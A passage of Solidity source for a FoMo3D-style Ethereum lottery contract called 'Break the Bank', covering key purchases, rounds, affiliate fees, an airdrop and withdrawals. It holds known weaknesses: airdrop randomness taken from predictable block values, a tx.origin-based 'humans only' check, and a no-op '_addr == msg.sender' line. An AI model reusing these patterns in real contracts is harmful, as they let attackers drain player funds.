uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract DiviesCTR {
function deposit() public payable;
}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
DiviesCTR constant private Divies = DiviesCTR(0x88B30117e7EaFCDa49542D5530D383146ca9af70);
address constant private FeeAddr = 0x1C7584476a8d586c3dd8f83864D0d5cd214492E9;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x30aa3C69fE10022Bca0A158b42FFC739Aa10b1e5);
string constant public name = "Break the Bank";
string constant public symbol = "BTB";
uint256 private rndExtra_ = 45 seconds;
uint256 private rndGap_ = 10 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(56,10);
fees_[1] = F3Ddatasets.TeamFee(56,10);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(56,10);
potSplit_[0] = F3Ddatasets.PotSplit(20,20);
potSplit_[1] = F3Ddatasets.PotSplit(20,20);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(20,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
FeeAddr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
FeeAddr.transfer(_com);
uint256 _p3d;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(2) / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0xc2b140d3a0cf1afce033cbd7d058e7fc5729f50f || msg.sender == 0xdEADBeef9C8846C434b2b55B73D735D51Ceac1aa),
"only team break the bank can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface JIincForwarderInterface {
function deposit() external payable;
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
